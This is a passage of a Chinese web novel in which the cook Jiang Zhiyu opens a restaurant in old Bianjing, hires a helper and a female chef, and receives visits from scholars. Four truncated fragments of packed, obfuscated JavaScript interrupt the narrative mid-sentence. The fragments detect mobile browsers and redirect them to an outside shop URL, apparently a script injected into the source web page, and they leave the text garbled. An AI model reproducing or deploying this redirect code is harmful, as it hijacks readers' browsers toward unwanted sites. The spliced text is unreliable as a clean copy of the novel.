"两个炊饼够吃吗？" "……够的。" "你叫什么名字呢？" "三喜。" 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092726|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >"三喜？这名字听着就喜庆。可有住处？" "没有。" "你的家人呢？" "……都不在了。" "……" 姜稚鱼拍拍三喜瘦削的肩膀，"以后，日子都会好起来的。" 都会好起来的。 是三喜，也是她自己。 说话间两人到了铺子，就待各自吃完手里炊饼，吃饱喝足，便继续收拾店铺了。 三喜也不用姜稚鱼吩咐，含下最后一口饼，嘴里还鼓鼓嚷嚷的就开始收拾起来，眼里有活动作也麻利。 两个人干活总比一个人快，多了个帮工，后续清理工作快了很多。 收拾完铺子，看着经过打理的干净整洁的店儿，姜稚鱼拍拍手，"收工！" 外面天色已黑，灯火亮起，想起来女孩儿现今没有住处，姜稚鱼开口道："要不……你先与我住一屋吧。" 不过，看着三喜身上已经些许破旧的衣服，姜稚鱼先带着三喜去了附近的布庄，里面也展示有成衣。 姜稚鱼领着三喜进店，店伙计见着人进店上前招呼，稍加打量两人一眼，自然地对着姜稚鱼便道，"两位小娘子，选点什么？是要看看料子还是现成的成衣？" "先看两套成衣。" 姜稚鱼说着便问在旁的三喜，朝她示意，"看看？喜欢哪款，先选两套换洗的衣裳。" 三喜睁大眼，没想到姜稚鱼带她来这儿居然是给她选衣裳的么？ 她轻轻拉了拉姜稚鱼的衣袖凑近些，"店家阿姐，我不用……" 她小声说，"我今晚将身上这身洗干净了，明儿就能穿。" 刚好正值天热，一晚差不多也能干…… 姜稚鱼：这是担心她破费么？ "那可不行……"姜稚鱼也靠近三喜小声说道，"你也知道，明儿可是咱们新店开业的大好日子，第一回在众多食客面前亮相，咱们做吃食的，不仅要东西干净好吃，人也要让人瞧着利落清爽不是？" "你要知道像我们面对客人做生意的，就是讲究以最好的一面展示给客人，当然是得将自己收拾得好咯！" "而这服饰嘛就相当于人的‘门面’，自然是最重要的了，所谓‘人靠衣装’嘛，一身合适的衣裳可是咱们生意人所谓的战袍呢。" 三喜听她说这是关乎生意的，抿抿唇，"那……那好吧。" 不过接着她偏头想了想，又朝着姜稚鱼道：“那买衣裳的钱，您记得在我后面的工钱里扣！” 店家阿姐说给她开工钱的。 听见这话姜稚鱼笑笑，"好。" 三喜这才认真挑选起来，最终选了普通耐穿的，以她帮工的身份也不至于在食客面前丢面的两套衣裙。 买完衣裳再为三喜添置点日常用品，姜稚鱼领着人回到自己的住处。 院子里正巧见着苏大娘，姜稚鱼主动开口介绍三喜，说是自己新雇的帮工，暂时同住，苏大娘闻言点头与三喜打招呼，这就算是知情了。 待两人各自洗漱沐浴完毕，面对那屋里唯一的一张小床，姜稚鱼对三喜道："暂时就一张床，你先与我勉强挤挤吧。" 三喜自然立马说不介意，有住的地儿对她来说就已经很好了！ 姜稚鱼则在心里盘算着：赶明儿有时间另外再添置一张床好了。 熄了灯，躺上床姜稚鱼还在琢磨着明天的开店事宜，想想有没有什么遗漏的。 她这从打定主意到盘下店来，再到明天开店，确是匆忙了些…… 14. 开业 晨光微熹。 姜稚鱼与三喜早早便已起床，两人快速拾缀好自己便直奔菜场，对着事先拟好的菜单一一挑选新鲜食材。 一圈下来，两人提着新鲜采买来的大包小包各种瓜果肉菜赶来到新店。 对于新店菜品，姜稚鱼想好了，炸鸡奶茶以及酸梅饮子还是照常有的，另外还新添上了脆皮全鸡，且这炸鸡姜稚鱼是打算做长期固定的菜品的，再怎么说这也是自己的起家招牌菜不是？ 除此之外，其它的则会根据时令菜品不断改换品类，顺应季节，也能使得食客有那么点新鲜感。 其它的肉菜琢磨着现今的人们喜好羊肉，且肉类以食羊为贵，姜稚鱼打算先投其所好添一道慢火细炖的山煮羊，再加一道鲜美的清蒸鲈鱼。 素菜类么，正值新鲜脆嫩的带花藕季节，可做一个煿金藕条，加上烧茄子，芥辣凉拌窝笋，再加一个冷淘。 将今日的菜品以及营业时辰写在十分惹眼的半人高的木牌上，摆放在店门显眼处。 接着便是两人马不停蹄地备菜，清洗、切配、腌制、炖煮…… 姜稚鱼手法利落，先将炸鸡腌制上，切好的羊肉下入陶釜炖煮，鲜鱼打理干净…… 三喜则埋头清洗蔬菜，按照吩咐将嫩藕切片，莴笋切丝…… 反正除了必需现炒现做的，其它能预先准备好的全都得先备好了。 终是赶在饭点前将食材处理好了。 又将在集市采买来的新鲜莲荷，插入素胚陶瓶，摆放在每张榆木桌案上。含苞的粉荷与青莲一放，顿时给简洁的店面增添了几分雅意。 正式开门营业。 店门已装饰好红绸绣球，点燃鞭炮。 因着鞭炮的热闹声响，吸引不少路人目光，趁着这个功夫，姜稚鱼赶忙在店门口招呼， "各位乡亲们午好，新店开张，内有香酥炸鸡，时令小菜，夏日凉饮，欢迎大家进店品尝！" 说着三喜就立马端着盛着小块金黄炸鸡和小盅饮子的托盘上前，脆声邀请着路人品尝。 有路人窃窃私语，"这儿是又换新店家了？往前几家可都经营不长，也不知这新店家能撑多久了。" 有人接话，"前面几家我可都吃过，那味道……"那人说着还摇摇头，"可都不怎么好。" "也不知这新店家又是何滋味了……" 这话刚巧被分享试吃的三喜听见了，笑着朝那议论的方向便道：“味道如何？要就凭我这一张口说的也不算数儿，还得客官亲自尝过不就清楚啦？” 看人一副犹豫的样子，她说着端着托盘就来到人跟前，递出试吃的炸鸡以及饮子，笑吟吟道："免费试吃的哦！" 吃不了亏上不了当！ 她说话的声音不小，确信周边人都能听见了。 心里还想着，还是店家阿姐有先见之明，听闻之前的几家店铺都经营不长，就是味道不好，如此一来，周边食客都会下意识想这家店啊不好吃，所以最有效的办法还是给人试吃，才能让人放心进店正儿八经的消费呢。 不得不说，涉及吃食要想快速打开局面最有效的方法还得是让人切身实地地品尝到其中滋味。 这不，没一会儿就陆陆续续有那试吃后走近店里的食客了。 一跨进店门马上就有人注意到了焕然一新的店铺，"别说，这店面装修过后，还真是不一样了，看着就敞亮干净！" 有人附和，“还真是，还真不愧是女娘经营的店儿呢！” 说着想起前者又摇头，"之前那几家……味道不好不说，平日里也不知好好将店面拾缀一番，啧啧……乱糟糟油腻腻的……" 不光味道不好，店里看着也糟心啊！哦，还有店家人也整天无精打采的…… 也有那之前的老熟客找来，"可算等到姜娘子开店了，可馋了好几天嘞！" "可不是吗，为这一口专程来的！" 自有食客进店里，姜稚鱼与三喜自然也随之进店招呼起客人来。 待食客坐好，斟上茶水，再含笑递上事先拟好的菜单子，声音清亮，"客官午好，这是今日菜品，您看看吃点什么？" 也是在这时裴歆乐进店的，手提插花花篮，一进门就笑着对姜稚鱼祝贺，"姜姐姐，开业大吉！" 姜稚鱼见此有些惊讶，接过花篮，"谢谢歆乐。" 没想到歆乐真的记着她开业的日子来了，还带来花篮庆贺。 说完忙招呼着她坐，要给她介绍今日菜品。 这次歆乐旁边倒是画眉陪着的。 裴歆乐却对着她摆摆手，"我知道的，我知道的。" "现在这么多食客在，姜姐姐你忙你的，我自己看！" 姜稚鱼莞尔，"好。" 说完她又补充，"等会我会在后厨，歆乐你看好了菜品，告诉三喜就好。" 她说着指指三喜示意。 等有客人点好了菜品，姜稚鱼自然进了后厨忙活，三喜则主要负责前厅招待。 开业的第一天一切还是很顺利的，一番忙活，不知不觉就快过了饭点，食客渐少。 等姜稚鱼与三喜自己都吃过午食，已是未时后了，这时的店里就没什么食客了，可暂作休息。 姜稚鱼想起来之前找吴大娘介绍帮工的事儿，现在有了三喜，想着去说一声自己已经有了帮工，只需找一个厨子就好了。 主要还是店刚开，想着店生意还不够稳定，暂时没想着再多找帮工，若是日后生意渐好人手不足，再找不迟。 心里想着便交待三喜看顾店里，她去找吴大娘。 循着上次的记忆，再次扣响黑漆门扉。 吴大娘应声而来，一打开门见是之前找她的姜娘子，还未出声，姜稚鱼先说明了来意， "吴大娘，先前委托您找的帮工，我已寻到了，特来告知您一声儿，您只需帮我留意合适的庖厨就好。" 没想吴大娘听她如此说，一拍手，“姜小娘子，这不巧了么，我还正准备出门去找你呢!” "帮工找好了？那行，我这打听到近期正有个合要求的厨子，最近在寻新东家，正准备去寻她来介绍给您呢！" "今儿又正好您来了，您现在若是有时间，要不就一起去看看？就在南斜街离这儿不远。" 姜稚鱼略一思索便答应了，"行。" 随着去看看也不无不可。 一同行至南斜街，步入小巷，吴大娘在一旧木门扉停下，扣响门扉的同时便已扬声询问，"徐厨在吗？" 等待的间隙，吴大娘还与姜稚鱼介绍，"这徐厨听人说可有一手好厨艺，之前便在那曹家酒肆……" 听到此，姜稚鱼眉头一跳。 曹家酒肆？ 还未及她询问，很快门扉就被打开，里面立着位约莫二十来岁的女子，见着她们言简意赅问道："何事？" 吴大娘眼神朝里望了望，"劳请告知一声儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092727|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们来此是找徐厨的。" 没想那女子听后微微挑眉便道， "我就是。" 吴大娘闻言诧异，这徐厨竟是位女子？还以为这徐厨是这女子的家人。 其余情况都摸清楚了，独独漏了性别。 心里不免有些踟蹰，女娘做庖厨可好么，这怎么着也是个考验体力的劳累活计…… 姜稚鱼倒也没想这所说的徐厨竟然也是位女娘，也有一瞬惊讶，见吴大娘一时沉默，她便上前道，"您好，这是‘行老’吴大娘，也是她介绍说您擅长做时兴菜式。" "刚巧我新开的食店在寻一位这样的庖厨。" "不知娘子现今可寻到合意的店家了吗？" 徐娘子听闻此言，应答："未曾。" 清楚了两人来意，徐娘子也打量了姜稚鱼一眼，见她态度平和语气尊重，随后便邀请两人进屋详谈。 接过徐娘子递的茶水，姜稚鱼还想着吴大娘提到的曹家酒肆，便试探问道："我方才听吴大娘说……您之前在曹家酒肆掌厨？" "是。"对面听到问话点头，神色坦然。 "是何时在曹家酒肆的？" "从年初直到两个月前。" "那是两个月前就没在那掌厨了吗？为何离开呢？" 原本一直语气平平的徐娘子，听到姜稚鱼这个问题，不知想起什么显然很有些愤愤， "他们那店家，起初开店急需庖厨，我经人提起去便去询问，那店家起先经过试做菜式后聘用了我……" 说到此，话还未完她一拍桌子，显然是到了气愤之处， "结果，那店主看我是女子，总是看轻我不说，直到后来，后厨多了一个帮工，说是给我打下手，谁知不出一个月……" 她冷笑一声，"不出一个月，就告知我不必再去了……原来那打下手的帮工竟是专盯着我来偷师的！" 她清楚那店家就是看不起她一个女子当得了大厨罢了。 姜稚鱼听完，想到之前在曹家酒肆听到的话，"这曹家酒肆起先生意还挺不错的，后来不知怎么的，味道大变，眼看着就日益惨淡……" 想来，所说的最开始的厨子就是面前这徐厨了，听着她对那曹家酒肆的气愤不满，也想起自身遭遇来，虽面上不显，心里觉着两人还很有些同仇敌忾的意思。 姜稚鱼喝了口茶水，"原来如此，我可听说那曹家酒肆后来生意惨淡。" "哼，那店家还以为随便有点功底的什么人来，看一段时间就会了，哪那么容易。" "火候分寸，调味的分量时机，食材处理等等，差之毫厘谬以千里。" "而且，那店家为人吝啬，食材用料贯会偷工减料以次从好的……" "最近路过还见他新弄了什么炸鸡来，似是有所好转，不过等着吧，以他那一贯做派好不了多久的……" 见她与那曹家酒肆有此纠葛，以及谈及时的气愤，姜稚鱼心里的最后的一丝顾虑也消失了。 这非但不是问题，反而让她更添了几分欣赏与信任。 有手艺，亦有原则。 还……有着同一个“敌人”？ 接下来，姜稚鱼与之说了自己的薪资与要求，寻问对方可有意向。 薪资合适，要求也合理，又同为女娘，言谈见也不见轻视。 于她此时境地而言，已然是极合心意的了，当即表示，"若是如此，自是愿意的。" 15. 试菜 虽说是双方都已表明自己的意向了，但，既是聘用庖厨，哪有不先试试菜，好亲眼看看其真实手艺的道理？ 与徐娘子约好了酉时初刻可到店里先试试菜品，留下自己店面的具体地址，姜稚鱼便与之告辞，随后与吴大娘从徐娘子家离开了。 只是自一出门吴大娘稍有踟蹰，犹豫再三还是出口对姜稚鱼道："姜娘子，这，我之前并不知这徐厨竟是女子……" "且听您二人方才商谈，这事儿便是差不多定下来了？" 姜稚鱼步履未停，理所当然回答，"如果试菜了手艺没问题，自然就订下来了。" 可吴大娘却显然有些许顾虑，她作为介绍人，觉得有必要提醒一句，"姜娘子，既然您是托我举荐的，我这还是得尽职多说一句啊，你啊可别小看这掌勺大厨的，再怎么说也是长期靠的体力的活计，这厨子得整天颠锅掌灶，烟熏火燎的，这徐娘子的身板看着也不像那有一把子力气的……" "还别说这现在正值酷暑，这后厨之地酷热难耐的，里面那滋味就活像是在蒸笼里！这庖厨还得长时间待在里面，寻常男子都得喊辛苦受不住，也不知这女娘能否受得了……" 大概在她心里女子总比不得男子吃苦耐劳的，或许正是如此，这掌勺大厨的不就是男子居多么？她担心女子做不长久。 姜稚鱼听闻吴大娘如此说，也没说其它什么，只是面上一脸诧异地道，"吴大娘，难道您不知，我也是厨娘么？" 吴大娘听了她的话下意识睁大了眼，"您，您不是店家么？而且还特意寻厨子来着，我还以为您自己是不看顾灶台，只打理前厅生意的那！" 没想听了她的话，只见姜稚鱼面上显出些许自得， "我么，既是店家，也兼掌厨的。" 说完她还补充，"女子怎么啦？我们女子也不比男子差呀，男子做得我们女子自然也能做得！" 最后她还笑眯眯的，半开玩笑半认真地说道："而且，只要手艺好，与那清清爽爽的女子相处，可不比与那肥油大肚又臭烘烘的男子好么？又都是女子的日常相处起来也舒心方便不是么？" 姜稚鱼也只是说出心中所想，并不管吴大娘听后如何，只是两人说着正巧行至巷子口，她便对一脸思索的吴大娘摆摆手告辞，回店里去了。 吴大娘站在原地，望着姜稚鱼背影，小声喃喃“好像是这么个道理……” 最终点点头，朝另一个方向走了。 待到酉时，徐娘子如约而至。 她换了身利落的深蓝窄袖衣裙，随身还带着个小木箱子，姜稚鱼猜想里面应该是她惯常用的刀具之类物品。 两人笑着打过招呼，此时未到饭点，店内并没什么食客，姜稚鱼见人来了，两人也没过多客套便径直带着人经过前厅来到后厨。 她指着陈列着食材的木架便道，"徐娘子看看，现有食材都在这儿了，您看想做什么菜试试手？都可随意选用。" "或者缺什么紧要食材用料的？也可以差三喜去集市现买也来得及。"姜稚鱼大方说道。 徐娘子快速打量了一眼食材区，立刻做出了决定，"就用现有食材便可。" "就做道莲房鱼包吧。" 这也是道颇见巧思和功力的雅致菜。 语毕，就见徐娘子从随身布的小箱子里，取出自己的刀具。 她先走到旁边姜稚鱼清晨采买来，装扮前厅没用完的养在水里的莲蓬，手法娴熟地用小刀将内部的莲子一一完整挑出，留取完好的莲蓬。 又选了条喂养在旁的鲜活鲈鱼，麻利地宰杀洗净，去皮去刺，切成小块，加入酒、酱以及调料腌制。 随后将腌制好的鱼块，塞入莲房，填满。 再取用一节嫩藕，切成薄片，将酿好的莲房鱼包放置在藕片上，一边将莲房鱼包上锅蒸制，一边与姜稚鱼解释， "这道菜，原本还应铺上茭白片与菱角的，此次只使用了现有食材，味道可能还稍有欠缺。" 姜稚鱼点头表示知晓，"无妨，徐娘子您随意发挥便是。" 蒸笼盖上，接下来便是蒸制等待时间…… ＊ 太学的钟声也在酉时准时响起，待授课夫子带着书籍一走出门外，学堂内气氛顿觉一松，众多学子也纷纷收拾起自己的书籍，谈笑间与同窗告辑。 裴律正不紧不慢地收拾书卷，不经意抬头瞥见前方的周继明火烧屁股般火急火燎地胡乱塞下书籍，起身便要往外冲。 裴律生出丝好奇，出声叫住他，"你这急吼吼的，干嘛去？" "火急火燎的，前方是有金子等你去抢？" 周继明咂咂嘴，"不是金子，赶着去抢吃食罢了，这两者也差不多了吧……" 至少对他来说是的。 裴律："什么吃食，还用你抢的？" "姜娘子家的啊！" "上次去买炸鸡，正巧姜娘子有说她开店了，现在啊总算可以坐店里舒舒服服享受美食了！" 之前姜娘子那小摊可没座儿。 "她那之前还是小摊的时候就人多，去晚了我担心都没位了！" 裴律眸光微动，"开店了么？什么时候？" 难怪，最近两日路过州桥夜市没见着那熟眼熟的小摊…… 周继明：“就今天啊，你不知道么？” 说完转念一想，"也对，你平日不吃小吃摊嘛。" 裴律不知道可太正常了。 裴律随意问："……你一个人去么？" 周继明："对呀，不然呢？" 这个问题一般熟络一些的都会自然地顺嘴提一句，"要不然，你也一起？" 他也就顺嘴一说，反正裴律也不会…… 却没想裴律起身便道：“成，走吧。” 周继明："那我先走……" 下一秒他才慢半拍反应过来裴律说的什么，"啊？" 裴律理理衣裳上并不存在的褶皱："你不是邀我一起去吗？走吧。" 周继明：不是，我邀请他了？ 想了想方才的对话，又觉着自己好像是没过脑提了一嘴。 裴律说完，在周继明懵逼的时候率先转身走在前面。 转而一想：自己好像并不知其位置？ 缓缓放慢了脚步。 周继明两三步快步就跟上了。 “真的假的啊？” “你平日里不是非那白凡楼那类的大酒楼不去的吗？” 白凡楼乃是汴京顶级的酒楼之一，既称顶级，服务于达官显贵，不管是食材烹饪还是卫生环境极其讲究，倒勉强符合裴律对此挑剔的习性。 见裴律真的要与他一起去，两人行至学院门口马车旁，周继明思索着，既然裴律一同前去，不如两人同乘一辆马车就好了！两人一块儿还能唠嗑嘛不是。 于是，便让自家车夫先行回去了，他搭裴律的车，反正两人也顺路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092728|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人上了马车，周继明向时安报上姜娘子新店地址，马车便开始行驶，裴律则手持折扇，用折扇挑开车帘一角，随意瞧着街边流动的街景。 转过一个拐角时，裴律瞥见一卖花的小店，店面摆着应季的花束，稍一思索他转头看向周继明： "我们……就这样，两手空空地去么？" 周继明茫然："不然呢？" 裴律："不带点什么祝贺一声？" 他指指那小摊，"前面有卖花篮的。" 周继明挠头，"男子送女子花束，这……似乎有点……"显得暧昧了些？ 裴律："再怎么说也算相识一场，人家新店开业，是为庆祝，可称为寻常礼节，算不得什么。" 他说着便叫停马车，撩袍下了车。 周继明见裴律当真挑选起来花篮来，心想：这裴律都送花篮了，自己不送么？ 两人一同前去，裴律送，他不送，好像、似乎，也不大像样儿…… 继而他便也下了马车，看看裴律手里的花束，随手拿了束一样的。 裴律瞧见他动作，手一顿，却是放下了手中花蓝，转而又挑选了另一束。 周继明："你咋还换了呢？" 他拿着花篮左右看看，他不懂，这花篮不都差不多么？还用得着特意换的？ 裴律："……" 裴律付了银钱，便转身上了车。 裴律一时沉默也没说为什么，倒也不是什么其它原因，主要是他想了想，自己竟也说不上自己是为着什么缘由如此。 ＊ 而姜稚鱼此时在小店的后厨里，闻着锅里传出来的清香，终于等到莲房鱼包出锅了。 徐娘子将莲房鱼包端出，摆盘。 那道莲房鱼包一端出，翠绿莲房冒着热气，融合了荷香与鱼鲜，散发出独特的清雅香气。 徐娘子摆好盘后，对在旁的姜稚鱼示意她菜品好了，“店家，您请。” "好。" 姜稚鱼盯着这道清新雅致的莲房鱼包，伸出竹筷品尝。 姜稚鱼细细品味，鱼肉鲜嫩爽滑又饱含荷叶清香，看着清淡但口感层次丰富。 尝完后她赞道，"鲜美异常。" "不仅瞧着雅致，味道也好。" 说完，她还朝三喜招招手，"三喜，你也来尝尝徐娘子这道菜如何。" 三喜闻言立即跑来，欢欢喜喜地抽出筷子。 她可早就闻到香气了。 伸出竹筷夹下筷鱼肉尝了一口，眼睛亮起，"好吃！" 说完她不好意思地摸摸头，"我也想不出什么好的词儿，反正就是好吃！又香又嫩。" 唉，她也只会直白地夸好吃。 末了，她想了想还是补充，"我以前在……在外面，听人说起过，莲房鱼包就是鱼肉和莲蓬做成的菜，但到底是何滋味却想象不出来，如今也是给我尝到了。" 至于在何处听说的么，自然是她之前徘徊在那些食肆外面觅食的时候听来的。 徐娘子见她们如此反应，心里则悄悄松了口气。 试菜菜品没有问题，得到店家认可，徐娘子的聘用便是正式在小店定下来了。 末了姜稚鱼询问，"这么久了，还不知徐娘子名字是……" 还真是的，至今为止，还只知其姓，却不知其名，只"徐娘子"的称呼着。 "徐长宁。" "长乐安宁的长宁。" 16. 光顾 裴律与周继明两人一同回了马车上，马车启动，车轱辘转了两圈，周继明在位置上摸摸找找的，脸上带着困惑。 待在位置周边摸索了一圈，又在全身上下都摸了一圈，他忽然一拍大腿出声，"欸？我折扇怎地不见了？" 裴律偏头看他一眼："大概是掉在哪儿了？" "一把扇子而已，掉了就掉了，没什么大碍吧？" "那可是我前两日好不容易新淘买来的，新鲜劲还没过呢！" 那扇子上面装饰有着精致的雕漆工艺不说，他还挺喜欢那上面画的那副江湖载酒图，一看就恣意洒脱，不正符合他的气质吗！ 此外内部不知有什么精巧的暗榫设计，此扇收拢时，声音并非一般普通折扇简单的一声啪声，而是如古琴收韵般清脆稳的三音连缀，每每把玩时都有独特的听觉享受。 他稍微回想了想，恍然，"应该是落在花店儿了！" 周继明说着掀开车帘望去，他们马车还没走多远，"我去找找。" 他没等时安将马车掉头，就已经探出头道："也没走两步，就不用掉头了，有这功夫，我都过去了！" 说着趁马车减缓速度的功夫周继明就利落地跳下了车。 谁想，不过一息功夫，裴律就听到一声极响亮的短促惊呼"哎唷！！！" 这不正是周继明的声音么？ 裴律闻声立时探出头去，一时还没见着周继明的身影，正疑惑着，就见前方不及五米远的地方，从地面冒出了一个沾了黑泥的脑袋。 裴律："？" 紧接着是一个浑身沾满黑泥的人形物体从地面上一个缺口爬了出来。 裴律：“？” "哎唷，我去！" 周继明自己手脚并用爬出来了，不可置信打量自身，又大声嚷嚷："这里怎么回事，怎么会有这么一个大坑！" 那里只盖着极薄一层木板，他一踏上去就整个人猝不及防掉进坑里了！只是还好他反应极快抓着边缘就爬上来了！ 这应该是疏通城里的水道沟渠，坑里都是疏通水渠的污泥，这是要等到官府检查通过了才能封盖的。 此时的周继明虽说靠自己就快速地爬出来了，但是他望了望自身，整个人浸透了污黑脏泥，低头嗅了嗅，还有一股不知怎么形容的不可言说的气味。 得了，他现在这副样子，这下哪里都去不了了，什么折扇，什么美味吃食在他这突如其来的惨状上面都不值一提了。 他抬头，形容凄惨地走回马车，他刚想开口对裴律说要不然先回家一趟？他得回去洗刷洗刷自己。 正要上车，却见裴律一下子伸出折扇，一脸难言的面色止住他上车动作。 周继明："？" 接着，他就见裴律快速打量四周，见着有一等待租赁马车的车夫，伸手对着人车夫招了招手，待车夫近前来便报上了周继明府邸地址，付了银钱…… 因着周继明现在浑身黑漆漆脏兮兮的模样，还给多付了不少银钱。 裴律这一系列动作下来行云流水一气呵成。 周继明："？？" 做完这些后裴律这才回头望向周继明： "怀恩现在可是要回家？" 没等周继明回答，他接着迫不及待就道："既如此，我俩不大顺路……" 他指指那叫来的车夫，意思明显，这车夫就是为他叫来送他回家的。 紧接着他动作优雅却毫不留情地朝呆立着的周继明摆摆手告辞。 做完这些裴律就要回车厢内，一低头，见着刚刚抵着周继明的折扇，顶端上面堪堪附着一点污泥…… 他回头，在周继明一丝希翼的目光中，将手中那把瞧着价值不菲的折扇递出， "送你了，不客气。" 周继明下意识接过折扇，一瞬间就懂了裴律此举缘由。 "裴子瞻！你就是嫌这扇子被我弄脏了才送我的！" 裴律充耳不闻，唰地关上车厢，周继明就见着那马车下一刻在他不可置信的眼神下逃离瘟神似地疾驰而去。 伴随着身后周继明跳脚的骂声："裴律！" "你这个！你这个洁身弃义！濯缨弃友！！薄情寡义之人！！！" ＊ 时安驾驶着马车在周继明先前报上的地址处停下。待车停稳，裴律提着那色彩明艳的花篮下了车。 这时姜稚鱼店里人还不多，她正在前厅招呼客人，门口光影一暗，她转头，没想竟见着意料之外的人。 裴律手提花篮，方才自己还口口声声说相识一场人家开业送上花篮理所应当并无不妥的，现下见着人，对上对方略带诧异的眸子，想着要送出的花篮又不知为何觉着有些不大自在。 姜稚鱼已然瞧见他了，裴律清咳一声，状似自然地递出花篮，语气平稳，"姜娘子，祝贺新店开业大吉。" 姜稚鱼内心惊讶，还是第一时间接过花篮，"多谢裴郎君。" 可不得惊讶么，见识这裴律的洁癖程度，没想到会来她这小店光顾不说，还特地祝贺她的？ 她接过花篮，顺手便放在旁边的案几上，裴律则一眼便见着紧挨着的另一束插花花篮，随口不经意一问，"这也是祝贺姜娘子新店开业的么？" 姜稚鱼闻言也看了看放一起的两束花篮，笑笑，"可不是么。" 没等裴律说什么，她接着就道："歆乐送的，要不，怎么说你俩是兄妹呢！" 这都想一块去了。 "是么，竟是歆乐送的。" 裴律自己都不觉再见那花篮似乎顺眼了些。 姜稚鱼摆放好花篮，转回身试探问，"裴郎君，今日……可要在小店用餐？" 裴律顺着话点了点头："自然。" 接着就他自己就近的案几，身后时安在他话落就上前来来回擦了擦桌椅，擦完后才见裴律纡尊降贵地坐下。 姜稚鱼见此也不觉奇怪了，等他坐下便取来菜单，对着裴律介绍菜品："这是今日菜品，裴郎君看看？像炸鸡茶乳酪这类是固定每日都有的，然后其它菜品今日有山煮羊，清蒸鲈鱼，煿金藕条，芥辣凉拌莴笋，银丝冷淘……" 至于刚刚徐长宁做过的莲房鱼包姜稚鱼并未提及，只因想着徐长宁提过一句缺了两样食材，实际上味道有所欠缺，便想着等明日食材采买齐全，再正式推出。 裴律视线在菜单上扫过，没有太多犹豫便一口气报上菜名："脆皮全鸡，酸梅饮子，山煮羊，煿金藕条，芥辣凉拌莴笋，银丝冷淘……" 待他报完菜名，姜稚鱼含笑："好的，裴郎君稍候，很快就好。" 说完转身掀帘回后厨备菜。 等菜的间隙裴律百无聊赖地打量了一下店内，雪白墙面，榆木案几，每张案几上还插着含苞待放的莲荷，瞧着倒是比一般小食肆整洁雅致得多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092729|195503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不多时，姜稚鱼便端着托盘从后厨出来，从托盘里一一取出菜碟碗筷在裴律面前摆放好。 金黄酥脆的脆皮全鸡卧在宽口瓷盘里，旁边配了两小碟不同的蘸料，冰镇过的酸梅饮子盛在青釉盏里，炖得酥烂入味的山煮羊、金黄藕条、碧绿爽脆的莴笋丝、根根分明的银丝冷淘都分别装在合适的青瓷碟盘里。 姜稚鱼摆放好最后一道菜品，含笑道，"裴郎君，您慢用。" 裴律点头，而后执起竹筷，手指触及上青瓷碗的边缘时，手几不可察地稍顿，这碗沿外壁还是温热的…… 显然是事先用沸水烫过…… 姜稚鱼为他上了菜又去忙其它的了，裴律自己不疾不徐地用餐，炸鸡外酥里嫩，撒上辛辣口味的蘸料口感更上一层，很能激发食欲，山煮羊炖得入味又不觉腥膻，几道素菜或香脆或爽口，酸梅饮子也沁凉酸爽，能很好地中和炸物不觉敞开吃多了的一点油腻感…… 不多时，面前菜肴就吃了个七七八八。 裴律吃好了搁下筷子，拭了拭嘴角，抬眼。 姜稚鱼此时视线正好看向这边，见状上前，"裴郎君，可是吃好了？" 裴律迎上她的目光，"……嗯，挺好的。" 姜稚鱼：这位意思是在她这儿吃挺好的意思？ 啧啧怎地觉着从这位口中得这么一句真不容易的感觉。 姜稚鱼面上笑笑："那就好。" ＊ 次日，太学。 钟声敲响，到了课间休息时间。 学子们三三两两凑一起说说笑笑，有的走出室内来到廊下院中透气，周继明也伸着懒腰活动着久坐的身子走出学堂呼吸室外空气。 他刚站定，几位相熟的同窗见着他，互相挤挤眼看向周继明，“怀恩兄……” 周继明听见有人叫他，抬眼朝声源看去。 就见几位同窗见着他，似是憋着笑，他不明所以问："怎的了？" 其中一位忍不住，拖长语调："听说……" 在周继明疑惑的目光下，对面咳嗽一声慢慢说完接下来的话，“也没什么，就是听说啊昨日，怀恩兄你有一番奇遇……" 周继明听到这心里不由咯噔一下，来不及说什么就听对面接着就道： "可是一不留神掉进坑里了？” 他说着适时顿了顿，一副关心模样，"我等知晓此事就是不由有些担忧怀恩兄你……"他说到此侧头咳嗽两声才忍下笑接着说完，"你……咳咳……无碍吧？" 周继明："……" 不是，这是哪个同窗好死不死地撞上他掉进坑里的倒霉一幕了！ 还肆无忌惮四处宣扬！ 